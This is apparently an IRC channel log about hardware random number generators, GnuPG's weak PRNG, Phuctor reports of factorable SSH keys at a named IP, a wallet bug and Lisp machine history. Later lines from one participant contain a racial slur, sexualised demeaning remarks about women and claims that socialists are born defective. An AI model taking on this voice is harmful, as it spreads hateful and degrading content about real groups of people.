everyone's keys to "catch criminals". 1640818;1491748889;Framedragger;(well it's also technically weak by using a 160 bit hash, etc) :p 1640819;1491748903;mircea_popescu;yes, in the sense hiv whore also has the flu. 1640820;1491748925;BenBE;OT: I know the guy who recently broke the GnuPG PRNG. He has been working on a project with me for some time 1640821;1491748963;BenBE;Depending on the circles you worked in, you knew GnuPG is broken on several levels. 1640822;1491749043;BenBE;I asked W.Koch about the PRNG about 2 years prior to the break last year. And even then it had been know for years before that, that the PRNG is phishy but nobody cared to actually step forward and rip it open. 1640823;1491749069;mircea_popescu;BenBE do you also know the FUCKGOATS, so as not to ever again use a "prng" for as long as you live ? 1640824;1491749107;mircea_popescu;asciilifeform incidentally, the more i think about it the more i'm convinced the ONLY "fingerprint" for rsa key may be... the modulus. 4096 bits and fuck you, if you can't take 32 chars you don't belong here. 1640825;1491749122;mircea_popescu;no hashing may be involved. 1640826;1491749177;mircea_popescu;BenBE yes, but here's the extra step : not only do i know koch is an evil shithead who dedicates his time doing evil. i also say it. 1640827;1491749202;BenBE;Didn't know that particular project, but have a true RNG based on the WhirlyGig design at warmcat 1640828;1491749282;BenBE;mircea_popescu: I think there's a difference between suspecting someone of malice and proving it. Cf. Occam's razor. 1640829;1491749338;BenBE;I am vary of things he does, will also tell others to do the same, but absent of proof I can't reasonably call him malicious. 1640830;1491749354;mircea_popescu;i needn't prove it. he doesn't want to be ~guilty~ he keeps out of doing bad things. that simple. 1640831;1491749367;mircea_popescu;perfectly reasonable. 1640832;1491749411;mircea_popescu;BenBE where can i get this whirlygig thingee ? 1640833;1491749592;BenBE;mircea_popescu: http://hackaday.com/2010/02/06/hardware-based-randomness-for-linux/ - unfortunately link to original page is down. Also using a FPGA port (done by a friend, verified against dieharder as a starting point). 1640834;1491749645;mircea_popescu;i c. 1640835;1491749676;Framedragger;link to original page down but i found https://warmcat.com/2009/05/21/whirlygig-pcb.html and https://warmcat.com/2009/05/21/whirlygig-verification-and-rngtest-analysis.html which may be interesting (and initial intro on https://warmcat.com/hardware%20design/linux%20peripherals/2007/11/24/whirlygig-gpld-hwrng.html maybe) 1640836;1491749681;mircea_popescu;look into http://nosuchlabs.com/hardware.html / http://shop.nosuchlabs.com/ sometime. 1640837;1491749725;BenBE;Will do. 1640838;1491749993;BenBE;What's the entropy source used in those Cardano RNG? 1640839;1491750074;mircea_popescu;johnson noise 1640840;1491750403;BenBE;With the WhirlyGig it's temperature-based modulation of ring oscillators. 1640841;1491750414;BenBE;Both are viable choices. 1640842;1491750458;mircea_popescu;can't say i have any experience with said modulation. what are the ring oscillators built out of ? 1640843;1491750589;BenBE;In the FPGA versions they are built of unclocked rings of logic gates (transistors). With the FPGA I use they oscillate at about 150-200MHz (if I read the information of the synth tool correct) 1640844;1491750637;mircea_popescu;did you do a mapping of temperature -> entropy or anything like that ? 1640845;1491750749;mircea_popescu;obvious example : does monotonous temperature variation result in more 1's ? something along the lines of "batch 1 we kept at 20, batch 2 we took from 0 to 40 over one hour, batch 3 we took from 40 to 0 over one hour. out of the 10gb worth of entropy recorded in that hour, batch 1 is 50-50 split, batch 2 is 75% 0s, batch 3 is 74% 1s. 1640846;1491750756;BenBE;No, only did some tests with dieharder on its output (at 2Mbps) which score several less WEAK in the results. 1640847;1491750790;mircea_popescu;BenBE FG scores perfection not before seen in ent/dieharder, not terribly sure how much that convinces me. 1640848;1491750810;mircea_popescu;as per that ancient "pi digits are also random, especially if you don't know what pi is" lemma. 1640849;1491750816;BenBE;Multiple rings (3 or 5, would have to lookup in the VHDL file) are XOR'd together when sampling. Thus not one oscillator, but the XOR of different onces. 1640850;1491750828;mircea_popescu;somewhat different. 1640851;1491750899;mircea_popescu;BenBE who makes the fpga / toolchain ? 1640852;1491750960;BenBE;In my case it's based on http://papilio.cc/index.php?n=Papilio.PapilioPro#PProFPGA (Xilinx Spartan 6) 1640853;1491750979;mircea_popescu;so you are trusting xilinx to actually do what it says ? and this with code that you can't audit ? 1640854;1491750985;mircea_popescu;are you familiar with the thompson problem ? 1640855;1491751007;BenBE;Trusting trust. Yes. 1640856;1491751043;mircea_popescu;well, we don't trust xilinx for critical infreastructure for the ~same reason we don'tr trust windows. 1640857;1491751056;BenBE;And I did not say I'd fully trust it --- far too little actual audit work done. 1640858;1491751065;mircea_popescu;yeah. 1640859;1491751085;mircea_popescu;i don't know how you can audit a xilinx chip. but if you did, asciilifeform would definitely be interested in hearing. 1640860;1491751097;mircea_popescu;last i heard he had enough of licking acids under the microscope. 1640861;1491751191;BenBE;Any other FPGA should basically do: Original design was a CPLD. So you'd grab one FPGA you /can/ audit the toolchain for and compile the design for that FPGA. It's not too much code. 1640862;1491751207;mircea_popescu;can you name the fpga i can both buy and audit ? 1640863;1491751266;BenBE;Nope. I wish I could. 1640864;1491751282;mircea_popescu;this doesn't sum up to all that much does it. 1640865;1491752189;BenBE;Not quite :( 1640866;1491752206;BenBE;It's a sad state related to hardware that we have. 1640867;1491752215;mircea_popescu;FG is, importantly, an ~auditable~ rng. you can audit the thing, and if you do, i'd be very interested to hear the results. 1640868;1491752254;mircea_popescu;BenBE well, while the state of hardware generally is very poor, due to tmsr dilligence this particular corner is actually solved, and so no, wrt rngs the state is fine. 1640869;1491752412;BenBE;YMMV. 1640870;1491752440;mircea_popescu;how could my mileage vary ? 1640871;1491752720;BenBE;In the way you rate this part solved. I'm not quite convinced here yet. Will need to evaluate the information. 1640872;1491752746;BenBE;But that's nothing left for today. 1640873;1491752860;mircea_popescu;ah 1640874;1491752922;mircea_popescu;yeah. put that evaluation in the stack though, i wanna hear what comes of it. 1640875;1491753664;asciilifeform;http://btcbase.org/log/2017-04-09#1640824 <<>> http://btcbase.org/log/2015-10-09#1295150 1640876;1491753664;a111;Logged on 2017-04-09 14:45 mircea_popescu: asciilifeform incidentally, the more i think about it the more i'm convinced the ONLY "fingerprint" for rsa key may be... the modulus. 4096 bits and fuck you, if you can't take 32 chars you don't belong here. 1640877;1491753664;a111;Logged on 2015-10-09 01:20 asciilifeform: the chore that everybody here has been putting off into indefinite future - that of ~actually distributing one's entire modulus~ - is a necessary thing. 1640878;1491753744;asciilifeform;http://btcbase.org/log/2017-04-09#1640821 << ahahaha whisperers 1640879;1491753744;a111;Logged on 2017-04-09 14:42 BenBE: Depending on the circles you worked in, you knew GnuPG is broken on several levels. 1640880;1491753797;asciilifeform;http://btcbase.org/log/2017-04-09#1640840 << i am quite familiar with this design, and rejected it 1640881;1491753797;a111;Logged on 2017-04-09 15:06 BenBE: With the WhirlyGig it's temperature-based modulation of ring oscillators. 1640882;1491753883;asciilifeform;it is what intel's rdrand, via'd chips, etc use. tightly married to the vagaries of the fab process, and very difficult to tie to a specific physical effect 1640883;1491753885;mircea_popescu;but didn't discuss it, and therefore i've not what to link. 1640884;1491753895;mircea_popescu;aha. 1640885;1491753898;asciilifeform;iirc we did 1640886;1491753920;mircea_popescu;no, i'm aware what the problems are. just, absent a written form, im stuck going through the matter question&answer style. 1640887;1491753924;mircea_popescu;but in the future will just link log. 1640888;1491753930;mircea_popescu;imo came out particularly well. 1640889;1491753997;asciilifeform;http://btcbase.org/log/2015-01-15#977806 1640890;1491753997;a111;Logged on 2015-01-15 00:45 asciilifeform: (what rng? ring oscillator jitter, with sha1 whitening.) 1640891;1491754014;Framedragger;wiki! 1640892;1491754023;mircea_popescu;hm ? 1640893;1491754098;Framedragger;i'm just teasing; i will consider setting up a topics-index page; something which is less formal than tickets; and a way to easily add new items by citing log line ranges. (old idea i know) 1640894;1491754145;mircea_popescu;could work 1640895;1491754160;Framedragger;(as the corpus of text expands, it becomes something like a fractal derrida and is heavier to manage in mind, at least in my mind) 1640896;1491754170;mircea_popescu;im in no better position. 1640897;1491754872;deedbot;http://trilema.com/2017/al-lolz-dot-jpg/ << Trilema - Al-lolz, dot jpg. 1640898;1491755037;BingoBoingo;AHA, "Al-Anon" is people not usually alcoholic themselves trying to live with drunks 1640899;1491755370;mircea_popescu;oh it is ? 1640900;1491757677;BingoBoingo;Yeah, founded by Bill W's wife to cope with "He stopped drinking, why am I still not the center of his universe" 1640901;1491757837;shinohai;Because he got sober and realized what he had done! 1640902;1491759662;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BCAF036F62490CA9C4D5611251522A725A5C6E264CD753D0EF563CA486550323 << Recent Phuctorings. - Phuctored: 1519...5963 divides RSA Moduli belonging to '89.186.72.19 (ssh-rsa key from 89.186.72.19 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (19.72.186.89.dsl.static.ip.kpnqwest.it. IT) 1640903;1491759662;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BCAF036F62490CA9C4D5611251522A725A5C6E264CD753D0EF563CA486550323 << Recent Phuctorings. - Phuctored: 1680...4539 divides RSA Moduli belonging to '89.186.72.19 (ssh-rsa key from 89.186.72.19 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (19.72.186.89.dsl.static.ip.kpnqwest.it. IT) 1640904;1491763646;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/diana_coman_payment_receipt.txt 1640905;1491763653;deedbot;accepted: 1 1640906;1491763949;trinque;^ PSA: I'm looking at some kind of trb wallet bug which is reporting suffient balance, but insufficient when trying to send a tx 1640907;1491763980;trinque;current bundle of deeds is blocked on that while I investigate 1640908;1491764015;mircea_popescu;that sux 1640909;1491764032;mircea_popescu;i have a good idea what you're running into : your balance is made up of "dust". can't send it. 1640910;1491764047;trinque;looks like trb was not pleased with python's json.dumps() taking upon itself to use scientific notation after I changed fee and deed amounts. 1640911;1491764064;mircea_popescu;ah 1640912;1491764066;trinque;txns are always deed amount + fee + refund rest back to same addy 1640913;1491764089;trinque;should have the thing working again later today, and will back up current wallet for inspection 1640914;1491764092;mircea_popescu;yes trinque ; but if a transaction is under arbitrary amount, it is arbitrarily "Dust" and can not be spent. 1640915;1491764102;trinque;orly 1640916;1491764106;mircea_popescu;ya. 1640917;1491764107;trinque;ah yes totally relevant then 1640918;1491764120;trinque;I reduced the deed amount to make room for moar fee 1640919;1491764145;trinque;that this is reported as "insufficient funds"... mkaaay 1640920;1491764152;mircea_popescu;this might even fix it, but it's not certain, given the festival of adhoc magic numbers trb is also known as. 1640921;1491766419;pete_dushenski;shinohai: good catch! fxd :) 1640922;1491766427;pete_dushenski;!~ticker 1640923;1491766429;jhvh1;pete_dushenski: Bitfinex BTCUSD ticker | Best bid: 1222.8, Best ask: 1224.4, Bid-ask spread: 1.60000, Last trade: 1223.6, 24 hour volume: 15946.33337183, 24 hour low: 1177.2, 24 hour high: 1226.9, 24 hour vwap: None 1640924;1491766459;mod6;gl trinque ! 1640925;1491767915;mircea_popescu;o noes. 1640926;1491768184;deedbot;http://qntra.net/2017/04/tears-of-the-great-again-leftists-find-exploit-trumps-weakness/ << Qntra - Tears Of The Great Again: Leftists Find, Exploit Trump's Weakness 1640927;1491768194;BingoBoingo;^ Oh Noes!!! 1640928;1491770660;mircea_popescu;trinque incidentally the best solution probably is to do a sweep tx now and again (once a year or such ?) to aggregate all the inputs into one single output 1640929;1491770853;deedbot;http://qntra.net/2017/04/islamic-state-oppresses-minority-religion-on-holy-feast-day/ << Qntra - Islamic State Oppresses Minority Religion On Holy Feast Day 1640930;1491771300;phf;http://btcbase.org/log/2017-04-09#1640600 << http://btcbase.org/log/2017-04-08#1640549 1640931;1491771300;a111;Logged on 2017-04-09 02:53 asciilifeform: it ain't new, it is copy of 'athena' ( the thing found on old suns, that made their ui eye-clawing fugly and painful to navigate ) 1640932;1491771300;a111;Logged on 2017-04-08 21:20 phf: well, that's the thing, the original backend from clim2 goes all the way back to genera, and it's literally all solid 1-pixel lines, and bulk of the display is text. 1640933;1491771493;asciilifeform;http://btcbase.org/log/2017-04-08#1640547 << this ?! 1640934;1491771493;a111;Logged on 2017-04-08 21:18 phf: like https://common-lisp.net/project/climacs/images/screenshots/old/swine-ss.png 1640935;1491771510;phf;no, obviously not, that's mcclim 1640936;1491771522;asciilifeform;yeah, liquishit 1640937;1491771562;asciilifeform;the mcclim ui always makes me think of http://btcbase.org/log/2017-03-29#1633985 people 1640938;1491771562;a111;Logged on 2017-03-29 16:04 phf: i met fare at one of international lisp conference's and i thought he was kind of off, but the kind of work he did on asdf3 precisely corresponds to his personal and writing styles. sort of like a dirty kid that you have to constantly remind to like fucking go wash yourself dude, omg 1640939;1491771587;asciilifeform;'go fucking wash the whitegrey off yerself omfg' 1640940;1491772311;phf;mcclim always reminds me of how rms was planning on competing with symbolics by reimplementing everything they had on top of gnu platform. that was the goal. only a handful people who actually worked with a genera realize how "special" the result of rms's work was. 1640941;1491772367;phf;mcclim's grey athena widget is from-cave attempt at "industry standard" echo of an echo 1640942;1491772587;shinohai;ty pete_dushenski - cheers! o/ 1640943;1491772596;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/S2Yyy/?raw=true 1640944;1491772597;jhvh1;shinohai: The operation succeeded. 1640945;1491772647;mircea_popescu;why exactly did everyone in the golden lisp era feel such a burning need to compete with each other anyway ? 1640946;1491772670;mircea_popescu;i mean rms, i understand, stray dog mit took in, he'd bark at st peter if st peter came by. but the rest of 'em ? 1640947;1491773180;BingoBoingo;ty shinohai 1640948;1491773215;deedbot;http://qntra.net/2017/04/dallas-stormraid-sirens-pose-interesting-ransomware-potential/ << Qntra - Dallas Storm/Raid Sirens Pose Interesting Ransomware Potential 1640949;1491773430;shinohai;ty! 1640950;1491773558;mircea_popescu;"The attacker was able to turn the sirens back on 15 times in a 90 minute period" lmao 1640951;1491773576;mircea_popescu;what exactly is the "oh, must be local" rationale besides "we are retarded and so therefore things follow" 1640952;1491773642;shinohai;I assume, since they contacted FCC, the system operates on some sort of radio frequency. Officials are "tight-lipped" lol 1640953;1491773656;mircea_popescu;"celebrating "Palm Sunday", a feast marking their holy tradesman's triumphant return to Jerusalem days before the holy tradesman was martyred by combined Italian and Jewish police violence." << epic. 1640954;1491773683;mircea_popescu;shinohai is "tight-lipped" how you say "box of hammers" this millennium ? 1640955;1491773704;shinohai;Gotta learn that variety speak! 1640956;1491773740;mircea_popescu;apparently. 1640957;1491773816;shinohai;Would be lulzy if it was the same guy who fucked with all their traffic lights last year. 1640958;1491774773;asciilifeform;http://btcbase.org/log/2017-04-09#1640945 << gnu's confinement ( from poverty ) to 'commodity' (i.e. unix) hardware was a forced 'exile from eden' and the derp response is to postulate 'we're JUST AS GOOD, US TOO!1111' etc. 1640959;1491774773;a111;Logged on 2017-04-09 21:17 mircea_popescu: why exactly did everyone in the golden lisp era feel such a burning need to compete with each other anyway ? 1640960;1491774800;asciilifeform;the other idiocies follow from 'we can make roman aqueduct in empty field, and with 0 book-larnin', and it will be Just As Good'. 1640961;1491774861;mircea_popescu;yes, though i'm not particularily interested in stallman's moth-eaten brain. 1640962;1491774872;asciilifeform;most of the subj of thread is post-rms. 1640963;1491774876;mircea_popescu;there were what, 5 different wanna-be symbolix corps ? commercial lisps ? etc. 1640964;1491774893;mircea_popescu;what sense did any engineer imagine this will make ? 1640965;1491774900;asciilifeform;iirc there were 3 mit licensees 1640966;1491774908;asciilifeform;symbolics, lmi, and ti 1640967;1491774918;mircea_popescu;seems a lot of retarded one-man-ism that gave the world 5k "airplane inventors" and just as many canvas-made planes that didn't work worth a shit. 1640968;1491774924;asciilifeform;(strangely, even though ti was a megacorp already at the time, their offering was the least memorable) 1640969;1491774962;mircea_popescu;asciilifeform the question of "why the fuck would anyone even bother with a mit '''license''' we'll leave for some other time". 1640970;1491774977;asciilifeform;describe the hypothetical 'not bothering' 1640971;1491775007;asciilifeform;thing was several thou. man-years of gnarly work, it was not repeatable in a garage. 1640972;1491775027;asciilifeform;(work on multi$million handmade machines, also, not on commodity iron) 1640973;1491775084;asciilifeform;in fact the piss ui from this thread, clim, franz lisp, whole shebang of barbarian yurts decorated with smashed roman mosaic, were results of later attempt to 'repeat in garage' regardless 1640974;1491775090;mircea_popescu;mit never had a thousand man-years of work, in its entire history to date, counting all the departments. 1640975;1491775095;asciilifeform;ai lab strictly. 1640976;1491775105;asciilifeform;it was the beginning and immediately the end of the 'interesting' mit. 1640977;1491775116;mircea_popescu;right. and if it were an actual man-year of work it'd be a wonder. 1640978;1491775127;mircea_popescu;ie, a dozen people "worked" in the us sense for 18 months. 1640979;1491775131;asciilifeform;mno. 1640980;1491775137;mircea_popescu;blow me away. 1640981;1491775161;asciilifeform;i read the released cadr schematics. and the source. it was genuinely 1000+ man-year of genuine work. 1640982;1491775169;asciilifeform;ever built wire-wrap anything ? picture ten tonnes of it. 1640983;1491775175;asciilifeform;and quite reasonably minimal, even. 1640984;1491775196;mircea_popescu;this argument will not prevail, because again, mit never paid that many hours. 1640985;1491775206;asciilifeform;most of the hours were worked unpaid, by slaves. 1640986;1491775216;mircea_popescu;mit also never had this many useful slaves. 1640987;1491775233;asciilifeform;again it wasn't 'mit', it was 'mit's ai lab', wholly - at the time - unique assemblage. 1640988;1491775252;asciilifeform;if mircea_popescu already postulated a conclusion in his head, and doesn't actually give half a fuck about facts, i will not bother with this thread. 1640989;1491775272;asciilifeform;1970s mit ai lab != modern mit 1640990;1491775283;asciilifeform;just as 1850s usg ain't today's. 1640991;1491775284;mircea_popescu;and the problem of "slaves" and "work" is very interestingly repeating. so : if you count all the receptionists in the "work" you're getting an obviously diluted figure. if this is were how work worked, i could build spaceship by hiring 1mn chickens/hair stylists in argentina. evidently, argentina isn't building any spaceships. 1640992;1491775308;asciilifeform;0 receptionists. it was this club where they let the brightest undergrads burn their lives for 0 pay to build interesting hw. 1640993;1491775317;mircea_popescu;slaves, idem. if you couint every nigger at mit, derping about "we're one, man" and "i should have money anyway" then yes you get the figures, but if you count THAT as slavery god help youi. 1640994;1491775328;mircea_popescu;asciilifeform this item did not physically exist. 1640995;1491775351;mircea_popescu;dozen people eighteen months. thatssit. where's the 500 undergrads ~actually~ working for decades ? 1640996;1491775377;asciilifeform;decade. 1640997;1491775380;asciilifeform;at the ai lab. 1640998;1491775406;mircea_popescu;you seen the premises ? not physically possible to host 100 people working there, let alone 500 wtf. 1640999;1491775415;asciilifeform;most of the heavy lifting was done by a dozen or so people, however. (david moon, richard greenblatt, tom knight, buncha smaller ones ) 1641000;1491775425;mircea_popescu;dozenpeopleeighteenmonths!!! 1641001;1491775438;phf;asciilifeform: clim fwiw predates micro exodus. was, like common lisp, an attempt by the three vendors to make a unified gui foundation. you can still see scarring in genera where they started transitioning to clim apps from their flavors 1641002;1491775455;mircea_popescu;NOW -- the question is why did this fucktarded dozen decide the best thing to do is make 3-6-howevermany "Competing" entitite.s 1641003;1491775518;phf;actually that's the same (i assume rhetorical) question rms was asking 1641004;1491775536;asciilifeform;iirc rms really hated noftsker, for some reason 1641005;1491775545;BingoBoingo; (strangely, even though ti was a megacorp already at the time, their offering was the least memorable) << No mystery. They were likely operating from an internal assumption of leadership and thus snore. 1641006;1491775545;mircea_popescu;mno. his question was "why do these 12 people not see the glory of socialism and dedicate their lives to making every receptionist live in luxury she can't pay for" 1641007;1491775556;mircea_popescu;why such rotten bullshit would get a flat no in return is directly obvious. 1641008;1491775572;asciilifeform;( iirc it was because he went 'let us have our king from among our ~own~ number, why this imported viking lord ' ) 1641009;1491775596;asciilifeform;mircea_popescu: this was pre-gnu rms, as far as is known -- apolitical 1641010;1491775613;phf;hmm, i always thought his question was a lot more naively childish "why'd did all my friends i had fun with left to do these weird `grownup` things" 1641011;1491775623;mircea_popescu;the notion that there can be an apolitical something is like the notion that there can be a transparent non menstruating woman etc. 1641012;1491775675;asciilifeform;mircea_popescu: rms naively believed (but afaik -- genuinely believed) that one can separate the cutlets from the flies. 1641013;1491775688;mircea_popescu;phf of course childish. socialism. that's what it is. 1641014;1491775700;asciilifeform;i.e. the experimenters from the receptionists. 1641015;1491775729;mircea_popescu;asciilifeform i expect rms did no such thing ; but that he correctly believed that if structured as ~radical~ socialism, socialism may be made to appear palatable to intelligent people ; at any rate more so than the commodified variant. 1641016;1491775748;mircea_popescu;hence all his imbecillities with "log scale for music payments by downloads" and whatnot other respectable sovietisms. 1641017;1491775775;asciilifeform;i have nfi, but must point out that this time was prior to him having written down any such thing. 1641018;1491775794;mircea_popescu;she's still a woman even at a time prior to having foaled. 1641019;1491775796;asciilifeform;and pre- him receiving the socialist prizes etc. pre-gnu. 1641020;1491775804;asciilifeform;he was just another d00d in those times. 1641021;1491775812;mircea_popescu;i don't think there is any such thing. 1641022;1491775834;mircea_popescu;i also do not think one can become a socialist. they're all born this way. it's braindamage, basically. 1641023;1491775845;BingoBoingo; "celebrating "Palm Sunday", a feast marking their holy tradesman's triumphant return to Jerusalem days before the holy tradesman was martyred by combined Italian and Jewish police violence." << epic. << Updated, forgot to insert relevant link to earlier qntra "celebrating "Palm Sunday", a feast marking their holy tradesman's triumphant return to Jerusalem days before the holy tradesman was martyred by co 1641024;1491775845;BingoBoingo;mbined Italian and Jewish police violence." << epic. 1641025;1491775851;asciilifeform;i don't buy this 'was always a trotskyist, from baby' thing. not everyone is born in his particular mental dead end. 1641026;1491775858;BingoBoingo;* http://qntra.net/2017/04/islamic-state-oppresses-minority-religion-on-holy-feast-day/ 1641027;1491775865;mircea_popescu;all kids appear healthy, but the brains of a precious few are deffective, and as aging exposes them to the challenge of correct diversification, it turns out they ~were all along~ schizophrenic. 1641028;1491775913;mircea_popescu;asciilifeform i currently find the notion persuasive. jane and jennifer are both interchangeable as 3 yos, but as they progress to age 23 it becomes apparent jeniffer jsut never had the tits in her. 1641029;1491775920;mircea_popescu;and so... she's... you know, "modest". 1641030;1491775925;mircea_popescu;and has "morals". 1641031;1491775928;mircea_popescu;and all the rest of the bullshit. 1641032;1491775939;asciilifeform;mircea_popescu never met a 'modest'+tits ? 1641033;1491775943;mircea_popescu;because if i make them strip, jane's DD look better than jen's A- 1641034;1491775958;mircea_popescu;asciilifeform shellshocked, yes. 1641035;1491776032;asciilifeform;BingoBoingo: y'know those 20 ft chainsaws for trees ? i was using one, it sucked, chain slipped maybe 5 times in 1 hr. are there such thing as decent one of these ? 1641036;1491776049;asciilifeform;or do my hands simply grow from arse ? or ? 1641037;1491776058;mircea_popescu;(ie, little jane stuck too early with too much male attention she doesn't know how to handle (in no small part because her mom's a retarded jen and had not the sense ot have sisters etc) will grow defensive. but it's to my eyes rather a different strand. quite evidently so : she's immodest in private.) 1641038;1491776149;mircea_popescu;anyway, to take the thing back to rms and friends : socialism is not a political choice, it's a psychological defense. it expresses itself in fundamentally defective individuals. tis what it is. 1641039;1491776180;asciilifeform;is this observation or postulation ? 1641040;1491776197;mircea_popescu;it's my current mental model. 1641041;1491776220;asciilifeform;could just as easily say 'left-handedness expresses itself in fundamentally defective individuals' 1641042;1491776235;mircea_popescu;now, obviously other than the people who ~are made of~ shit, you can also have people covered in shit. these, however, can wash. even if they're not necessarily distinguishable on superficial examination -- put the firehose on them and you'll presently find out. 1641043;1491776257;mircea_popescu;which'd be ~why~ specific republican artefacts (above approximated as firehose) result in the "educational split" so to speak. 1641044;1491776272;mircea_popescu;asciilifeform could, yes. 1641045;1491776289;BingoBoingo;asciilifeform: The usual solution among people who get paid to do that work is smaller chainsaw plus climbing 1641046;1491776365;mircea_popescu;but more appropriately i think you could say "cowardice expresses itself in fundamentally defective individuals, as well as in those who spend too much time in cowards' company". 1641047;1491776368;BingoBoingo;If there is problem it could be you need to adjust chain tension again after saw warms up 1641048;1491776396;BingoBoingo;Chainsaws usually come with scwrench for a reason 1641049;1491776412;asciilifeform;mircea_popescu: distinguish, for my education, 'socialism', from how the spartans lived. 1641050;1491776419;asciilifeform;(they -- also -- 'cowardice' ? ) 1641051;1491776585;BingoBoingo;asciilifeform: Another solution may be to inquire at power equipment rental outfit and find setup from one of the orange brands (echo, stihl) to use for a day or two until branches restored to sanity. 1641052;1491776634;asciilifeform;BingoBoingo: this was borrowed tool. if i'm gonna spend $, may as well hire gardeners. 1641053;1491776654;BingoBoingo;Well, that is an option to deal with branches at height. 1641054;1491776689;mircea_popescu;asciilifeform socialism is the proposal that the problems of individuals will be addressed by the group. the spartans made no allowance for the problems of individuals. 1641055;1491776702;BingoBoingo;"Arborist" above 8 feet would usually either come with bucket lift truck or climbing gear and small (10-14 inch bar) saw. 1641056;1491776715;mircea_popescu;they were interested in resolving the problems of the group, mostly in the shape of not getting wiped by the parthians. 1641057;1491776836;asciilifeform;you could redefine this, if you wanted , as 'problem of individual' 1641058;1491776841;mircea_popescu;but anyway, thinking about it, it'd seem to me the only possible explanation of http://btcbase.org/log/2017-04-09#1641002 is that the golden dozen lacked ~any conception whatsoever~ of the enmity of mit. like dodo birds, went happily to the necessary eventual slaugther because failed ot perceive usg must be destroyed not ignored. in a field arbitrarily (and perhaps not exactly accidentally) limited in this manner, they cultiv 1641059;1491776841;a111;Logged on 2017-04-09 22:04 mircea_popescu: NOW -- the question is why did this fucktarded dozen decide the best thing to do is make 3-6-howevermany "Competing" entitite.s 1641060;1491776842;mircea_popescu;ated their own aesthetic notions of "competition" among themselves, instead of setting boston on fire. 1641061;1491776865;mircea_popescu;asciilifeform yes, but you couldn't find petition introduced by hoplite because "life's too hard and i want an ipad". 1641062;1491776937;mircea_popescu;how the fuck they managed to think mit is anything but ~the only thing they must destroy~ is beyond me however. seriously, how the fuck does that work. 1641063;1491776996;asciilifeform;pretty sure that, e.g., d. moon, saw 'finally we take this tech private, make an honest corp' as breaking off from mit 1641064;1491777012;asciilifeform;and whatever socialisms dwelled there 1641065;1491777096;mircea_popescu;possibly. why didn't it sell with the rest ? 1641066;1491777108;asciilifeform;i'm speaking of symbolics co 1641067;1491777113;mircea_popescu;bitcoin-assets split sold with the rest. why didn't moon's corp ? 1641068;1491777121;mircea_popescu;asciilifeform yes. why didn't everyone follow ? moon was eminently followable. 1641069;1491777153;asciilifeform;why there was >1 power in 16th c italy. why not everyone simply in florence, lol. 1641070;1491777192;asciilifeform;knight (inventor of the machine, and designer/hand-builder of almost all of the early iron) was also 'followable', he ended up at lmi. 1641071;1491777206;mircea_popescu;so why the split ? 1641072;1491777218;mircea_popescu;why didn't moon follow knight, then. wtf is going on. 1641073;1491777218;asciilifeform;symbolics co. was actually illustration of mircea_popescu's essay re the hanna barbara cartoon thing 1641074;1491777221;asciilifeform;what was the d00d's name 1641075;1491777227;*;mircea_popescu has serious trouble digesting this chunk of history. 1641076;1491777230;asciilifeform;the one who said 'i could sell equally this, or canned fish' 1641077;1491777238;mircea_popescu;!~google fred quimby 1641078;1491777239;jhvh1;mircea_popescu: Fred Quimby - Wikipedia: ; Fred Quimby - IMDb: ; Was Chuck Jones better for Tom & Jerry than Fred Quimby ...: 1641079;1491777240;asciilifeform;him!! 1641080;1491777289;mircea_popescu;so your proposition is that engineers are cursed by the gods in that they can't follow each other, gotta follow a different kinda guy and if they don't get lucky to find one will just symbolics all over the place ? 1641081;1491777294;mircea_popescu;why the fuck, what, brains dun work ? 1641082;1491777306;asciilifeform;not that noftsker, afaik, was a quimby. but lmi's greenblatt, it seems, was an 'anti-quimby' 1641083;1491777354;mircea_popescu;amusingly, apparently everyone there knew this, too. "he's no captain, he's just a dude with a small penis who figures the world owns him reparations for it, so captaining will work by itself" 1641084;1491777387;asciilifeform;the reality, even if mircea_popescu doesn't subscribe to it, is that there may very well be more than two types of people alive, and not simply ubermenschen (exact clones of mircea_popescu , presumably ) and untermenschen ('socialists' or anyone who substantially differs psychologically from mircea_popescu ) 1641085;1491777418;asciilifeform;may not even be (horror!) coded by penii 1641086;1491777423;mircea_popescu;but anyway, leaving this hot coal for a moment -- why the everloving fuck did it take them so long to lose virginity! yes, EVENTUALLY moon "finally we take this tech private". but how fucking unobvious can it be that mit is exactly the equivalent of hymen, there to insulate girl from control of her own cunt ? 1641087;1491777445;mircea_popescu;~any 16 yo figures out her chief order of business is trashing the damend thing, why's it take moon 50 years ? 1641088;1491777471;mircea_popescu;asciilifeform i dun think teh theory ever went in the vein of "ubermenschen (exact clones of mircea_popescu , presumably ) and untermenschen ('socialists' or anyone who substantially differs psychologically from mircea_popescu )" eh ? 1641089;1491777477;asciilifeform;the lispm was a quite audacious and expensive project, and very difficult to justify commercially without at least a set of functioning machines and well-developed soft 1641090;1491777491;mircea_popescu;why do you have to "justify it commercially". 1641091;1491777499;asciilifeform;to get investment ? 1641092;1491777508;mircea_popescu;what next, i can't justify my saturday night guest list ~matrimonially~ ? 1641093;1491777522;asciilifeform;from where was the money to come ? 1641094;1491777532;mircea_popescu;i dun know why you think this is how things work, but allow me to reference a relevant bit of history : http://trilema.com/2012/hai-c-am-mai-gasit-una/ 1641095;1491777538;mircea_popescu;is it transparent or should i translate ? 1641096;1491777550;asciilifeform;either translate, or summarize ? 1641097;1491777569;mircea_popescu;golden age of bitcoin forum invesmtnets, dude did horribly poorly ~on investor's money~. 1641098;1491777599;mircea_popescu;how did the investment come considewring there wasn't anythning there besides "we'll try to win on execution without a clue or a GED, against people with money and significant entrenchment" ? 1641099;1491777612;mircea_popescu;fuck, HOW is airbnb supposed to be worth 50 bux ? it consists of... nothing. 1641100;1491777640;mircea_popescu;groupon, its exact clone 5 years ago, meanwhile imploded. where did the billions come to make ~that~ particular iteration of nothing whatsoever into "biggest ipo ever!11" 1641101;1491777675;mircea_popescu;investment is entirely divorced from this "justifying commercially" business. 1641102;1491777677;asciilifeform;you are comparing bezzletrons, that run on pixie dust, to hw makers , who ran on 100% turkey dollar ? 1641103;1491777687;mircea_popescu;this is not exactly correct, which is why i linked the article i linked. 1641104;1491777689;asciilifeform;pixie dust dun buy megatonne of ic. not today, not then. 1641105;1491777693;mircea_popescu;no bezzle went into that nonsense. 